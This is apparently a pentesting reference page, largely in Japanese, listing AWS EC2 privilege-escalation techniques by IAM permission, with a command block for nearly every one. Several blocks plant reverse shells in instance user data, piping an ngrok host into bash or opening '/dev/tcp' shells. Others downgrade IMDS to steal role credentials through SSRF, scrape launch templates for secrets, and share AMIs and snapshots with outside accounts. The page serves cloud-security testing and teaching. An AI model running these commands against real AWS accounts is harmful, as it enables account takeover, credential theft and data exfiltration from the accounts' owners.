# AWS - EC2 Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## EC2

For more **info about EC2** check:

{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}

### `iam:PassRole`, `ec2:RunInstances`

攻撃者は**IAM role をアタッチしたインスタンスを作成し、そのインスタンスにアクセスして metadata endpoint から IAM role の認証情報を盗む**ことができます。

- **Access via SSH**

作成済みの **ssh key** (`--key-name`) を使って新しいインスタンスを起動し、その後 ssh で接続します（新しいキーを作成する場合は `ec2:CreateKeyPair` 権限が必要になることがあります）。
```bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
```
- **user data 内の rev shell によるアクセス**

あなたに **rev shell** を送る **user data** (`--user-data`) を使って新しいインスタンスを起動できます。この方法ではセキュリティグループを指定する必要はありません。
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
インスタンス外で IAM role の資格情報を使用する場合は GuradDuty に注意してください：

{{#ref}}
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}

**潜在的な影響:** 既存の instance profiles にアタッチされている任意の EC2 role への直接的な privesc。

#### Privesc to ECS

この権限セットがあれば、**EC2 instance を作成して ECS cluster に登録する**こともできます。この方法では、ECS の **サービス** は **実行され**、あなたがアクセスできる **EC2 instance** 内で稼働します。そして、それらのサービス（docker containers）に侵入して、**アタッチされている ECS roles を盗む**ことができます。
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
この新しい EC2 インスタンスで**force ECS services to be run**方法を確認するには、以下を参照してください：

{{#ref}}
../aws-ecs-privesc/README.md
{{#endref}}

`ecs:RegisterContainerInstance` の権限があるが、新しいインスタンスを**作成できない**場合、インスタンスをクラスター内に登録して、前述の attack を実行できる可能性があります。

**潜在的影響:** tasks にアタッチされた ECS roles への直接的な privesc。

### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**

前のシナリオと同様に、これらの権限を持つ攻撃者は**compromised instance の IAM role を変更する**ことで、新しい資格情報を盗むことができます。\
instance profile は 1 つの role しか持てないため、instance profile が**すでに role を持っている**場合（一般的なケース）、**`iam:RemoveRoleFromInstanceProfile`** も必要になります。
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```
もし**instance profile has a role**で、攻撃者がそれを**cannot remove it**なら、別の回避策があります。攻撃者は**find**で**instance profile without a role**を見つけるか、`iam:CreateInstanceProfile`で**create a new one**し、前述のようにその**instance profile**に**add**で**role**を付与し、そして**associate the instance profile** compromised to a compromised i**nstance**:

- インスタンスが **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Potential Impact:** 別の EC2 role への直接的な privesc（AWS EC2 instance を侵害しており、追加の権限または特定の instance profile の状態が必要）。

### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)

これらの権限があれば、インスタンスに関連付けられた instance profile を変更できるため、攻撃者が既にインスタンスにアクセスしている場合、関連付けを変更してより多くの instance profile ロールの資格情報を窃取できる。

- インスタンスが **instance profile** を持っている場合、`ec2:DisassociateIamInstanceProfile` でその instance profile を **削除** し、`ec2:AssociateIamInstanceProfile` で別のものを **関連付ける** ことができます。
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- または、侵害されたインスタンスの**instance profile**を**置き換える**（`ec2:ReplaceIamInstanceProfileAssociation`）。
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
**Potential Impact:** 別の EC2 role への直接的な privesc（AWS EC2 インスタンスを既に侵害しており、追加の権限または特定のインスタンスプロファイルの状態が必要）。

### `ec2:RequestSpotInstances`,`iam:PassRole`

権限 **`ec2:RequestSpotInstances`and`iam:PassRole`** を持つ攻撃者は、**user data** に **rev shell** を含む **EC2 Role attached** な **Spot Instance** を **request** できます。\
インスタンスが起動すると、攻撃者は **steal the IAM role** ことができます。
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
```
### `ec2:ModifyInstanceAttribute`

攻撃者が **`ec2:ModifyInstanceAttribute`** を持っていると、インスタンスの属性を変更できます。  
その中で、**change the user data** が可能であり、それによりインスタンスに **run arbitrary data.** を実行させることができます。これを使って **rev shell to the EC2 instance** を取得できます。

属性はインスタンスが停止している間にしか **modified while the instance is stopped** できない点に注意してください。したがって、**permissions** として **`ec2:StopInstances`** および **`ec2:StartInstances`** が必要です。
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID
```
**潜在的影響:** 作成されたインスタンスにアタッチされた任意の EC2 IAM Role への直接的な privesc。

### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`

権限 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** を持つ攻撃者は、**新しい Launch Template バージョン** を作成し、**rev shell を含む** **user data** と **それに付与された任意の EC2 IAM Role** を設定してデフォルトバージョンを変更できます。さらに、当該テンプレートを **latest** または **default version** を使用するように **構成されている** **任意の Autoscaler group** は、そのテンプレートを使用して **instances を再作成** し、rev shell を実行します。
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
**影響の可能性:** 別の EC2 role への直接的な privesc.

### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`),  `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)

これらの権限（**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`**）を持つ攻撃者は、**Launch Configuration を作成**して**IAM Role** を割り当て、**user data** 内に **rev shell** を入れ、そこから **autoscaling group を作成**して rev shell が **IAM Role を奪う** のを待つことができます。
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
**潜在的な影響:** 別の EC2 ロールへの直接的な privesc。

### `!autoscaling`

権限の組み合わせ **`ec2:CreateLaunchTemplate`** と **`autoscaling:CreateAutoScalingGroup`** だけでは IAM ロールへの権限昇格は**不十分**です。というのも、Launch Configuration や Launch Template に指定されたロールをアタッチするには **`iam:PassRole`** と **`ec2:RunInstances`** の権限が必要だからです（これは既知の privesc です）。

### `ec2-instance-connect:SendSSHPublicKey`

権限 **`ec2-instance-connect:SendSSHPublicKey`** を持つ攻撃者は、ユーザーに ssh キーを追加し（インスタンスへの ssh アクセス権がある場合）それを使ってアクセスしたり、権限を昇格したりできます。
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
**Potential Impact:** 実行中のインスタンスにアタッチされた EC2 IAM roles への直接的な privesc。

### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`

権限 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** を持つ攻撃者は、**serial connection に ssh key を追加できる**。もし serial が有効になっていない場合、攻撃者はそれを有効にするために権限 **`ec2:EnableSerialConsoleAccess`** を必要とする。

serial port に接続するには、マシン内のユーザの **username と password を知っている必要がある**。
```bash
aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
この方法は、悪用するにはユーザー名とパスワードを知っている必要があるため、privescにはあまり有用ではありません。

**潜在的な影響:**（非常に立証困難）実行中のインスタンスにアタッチされた EC2 IAM roles への直接的な privesc。

### `describe-launch-templates`,`describe-launch-template-versions`

launch templates にはバージョニングがあるため、**`ec2:describe-launch-templates`** および **`ec2:describe-launch-template-versions`** の権限を持つ攻撃者は、user data に含まれる資格情報などの機密情報を発見するためにこれらを悪用することができます。これを実行するために、以下のスクリプトは利用可能な launch templates のすべてのバージョンをループします:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done
```
上のコマンドでは、特定のパターン（`aws_|password|token|api`）を指定していますが、他の種類の機密情報を検索するために別の正規表現を使用できます。

もし `aws_access_key_id` と `aws_secret_access_key` を見つけた場合、これらの資格情報を使って AWS に認証できます。

**潜在的な影響:** IAM ユーザーへの直接的な権限昇格。

## 参考

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)





### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)

被害者の EC2 インスタンスに対して `ec2:ModifyInstanceMetadataOptions` を呼び出す能力を持つ攻撃者は、IMDS の保護を弱め、IMDSv1（`HttpTokens=optional` を有効化）にし、`HttpPutResponseHopLimit` を増やすことができます。これにより、インスタンス上で動作するアプリケーションからの一般的な SSRF/プロキシ経路を介してインスタンスメタデータのエンドポイントにアクセスできるようになります。攻撃者がそのようなアプリで SSRF を発生させられれば、インスタンスプロファイルの資格情報を取得してそれらで踏み台にできます。

- 必要な権限: 対象インスタンスに対する `ec2:ModifyInstanceMetadataOptions`（およびホストに対して SSRF を到達/トリガーする能力）。
- 対象リソース: インスタンスプロファイル（IAM role）がアタッチされた稼働中の EC2 インスタンス。

Commands example:
```bash
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
--query 'Reservations[0].Instances[0].MetadataOptions'

# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-endpoint enabled --http-tokens optional \
--http-put-response-hop-limit 3 --instance-metadata-tags enabled

# 3) Through the SSRF, enumerate role name
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# 4) Through the SSRF, steal the temporary credentials
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"

# 5) Use the stolen credentials
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity

# 6) Restore protections (require IMDSv2, low hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1
```
潜在的影響: SSRF を介した instance profile credentials の窃取により、EC2 role permissions を用いた privilege escalation と lateral movement が発生する可能性があります。

### `ec2:ModifyInstanceMetadataOptions`

ec2:ModifyInstanceMetadataOptions 権限を持つ攻撃者は、Instance Metadata Service (IMDS) の保護を弱めることができます — 例えば IMDSv1 を強制して HttpTokens を不要にしたり、HttpPutResponseHopLimit を増加させたりすることで — これにより temporary credentials の exfiltration が容易になります。最も関連性の高いリスクベクターは HttpPutResponseHopLimit を上げることです: この hop limit (TTL) を増やすと、169.254.169.254 エンドポイントが VM の network namespace に厳密に限定されなくなり、他のプロセス/コンテナから到達可能になって credential theft を可能にします。
```bash
aws ec2 modify-instance-metadata-options \
--instance-id <INSTANCE_ID> \
--http-tokens optional \
--http-endpoint enabled \
--http-put-response-hop-limit 2
```
### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`

ec2:ModifyImageAttribute と ec2:ModifySnapshotAttribute の権限を持つ攻撃者は、AMIs や snapshots を他の AWS アカウントと共有したり（場合によっては公開したり）することで、設定、認証情報、証明書、バックアップなどの機密データを含み得るイメージやボリュームを露出させる可能性があります。AMI の launch permissions や snapshot の create-volume permissions を変更することで、攻撃者は第三者にこれらのリソースからインスタンスを起動させたりディスクをマウントしてその内容にアクセスさせることができます。

AMI を別のアカウントと共有するには:
```bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
EBS スナップショットを別のアカウントと共有するには:
```bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
{{#include ../../../../banners/hacktricks-training.md}}
